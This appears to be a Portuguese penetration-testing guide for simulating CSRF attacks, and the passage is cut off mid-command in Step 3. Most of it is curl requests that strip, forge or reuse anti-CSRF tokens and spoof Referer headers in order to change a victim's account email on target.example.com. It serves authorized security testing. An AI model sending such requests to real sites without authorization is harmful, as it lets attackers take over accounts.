Simulando Ataques CSRF

Quando Usar

• Durante testes de penetração autorizados em aplicações web para identificar ações que mudam de estado e são vulneráveis a CSRF.
• Ao testar a eficácia de implementações de tokens anti-CSRF.
• Para validar a aplicação do atributo de cookie SameSite em diferentes navegadores.
• Ao avaliar aplicações que realizam operações sensíveis (mudança de senha, transferência de fundos, modificação de configurações).
• Durante auditorias de segurança de mecanismos personalizados de autenticação e gerenciamento de sessão.

Pré-requisitos

• Autorização: Acordo escrito de teste de penetração para o alvo.
• Burp Suite Professional: Com a funcionalidade de gerador de PoC CSRF.
• Servidor Web: Servidor HTTP local para hospedar páginas de PoC CSRF (Python http.server).
• Dois navegadores: Um autenticado como vítima, outro como atacante.
• Aplicação Alvo: Sessão autenticada com credenciais de teste válidas.
• Conhecimento de HTML/JavaScript: Para criar payloads CSRF personalizados.

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1: Identificar Requisições que Mudam de Estado

Navegue pela aplicação e identifique todas as requisições POST/PUT/DELETE que modificam o estado do lado do servidor.

# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)

# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

email=newemail@example.com

# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation

Passo 2: Analisar Implementação de Token Anti-CSRF

Teste a força e a aplicação de quaisquer proteções CSRF presentes.

# Check if CSRF token is present
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# Test 1: Remove the CSRF token entirely
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 2: Send empty CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
  -b "session=user_a_session" \
  -d "email=test@evil.com&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

Passo 3: Verificar Proteções de Cookie SameSite e Cabeçalhos

Valide as defesas CSRF no nível do navegador e baseadas em cabeçalhos.

# Verificar o atributo SameSite nos cookies de sessão
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Procurar por: SameSite=Strict, SameSite=Lax, ou SameSite=None

# SameSite=Lax permite CSRF em navegações de nível superior GET
# SameSite=None; Secure permite requisições cross-site
# Nenhum atributo SameSite: o navegador usa Lax por padrão (navegadores modernos)

# Verificar validação de cabeçalho Origin/Referer
# Enviar requisição sem Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Enviar requisição com Referer malicioso
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Enviar requisição com Origin falsificado
curl -s -X POST \

…